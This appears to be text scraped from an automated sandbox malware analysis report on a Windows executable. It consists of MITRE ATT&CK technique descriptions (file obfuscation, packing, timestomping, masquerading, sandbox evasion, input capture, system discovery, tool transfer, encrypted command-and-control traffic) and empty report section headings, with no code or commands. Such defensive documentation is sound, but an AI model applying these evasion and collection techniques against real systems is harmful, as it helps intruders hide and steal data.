Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ECD2MpEBSf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre